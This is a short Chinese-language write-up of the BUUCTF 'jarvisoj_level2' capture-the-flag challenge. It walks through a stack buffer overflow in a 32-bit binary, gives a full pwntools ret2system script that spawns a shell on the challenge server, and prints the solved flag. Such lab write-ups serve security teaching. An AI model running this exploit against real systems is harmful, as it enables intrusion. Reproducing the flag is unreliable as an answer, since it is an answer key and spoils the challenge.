BUUCTF-jarvisoj_level2 writeup
拿到文件 checksec

开启了NX防护
拖进IDA看看
在vulnerable_function函数里发现溢出点

buf的长度为88h,read读入100h个字符 造成溢出
程序之前已经调用过了system函数,所以肯定可以找到system函数的地址,在字符串列表里查看是否有/bin/sh

存在/bin/sh,并且是在data段
所以可以构造Payload
from pwn import * elf = ELF('./level2') p = remote('node3.buuoj.cn',26874) Payload = b'a'*(0x88 + 4) + p32(elf.sym['system']) + p32(0xdeadbeef) + p32(0x804A024) p.sendline(Payload) p.interactive()
运行后得到sh

在根目录下发现flag
flag{10c94a6a-6414-4b07-bfd3-1f397e3e6b2a}

浙公网安备 33010602011771号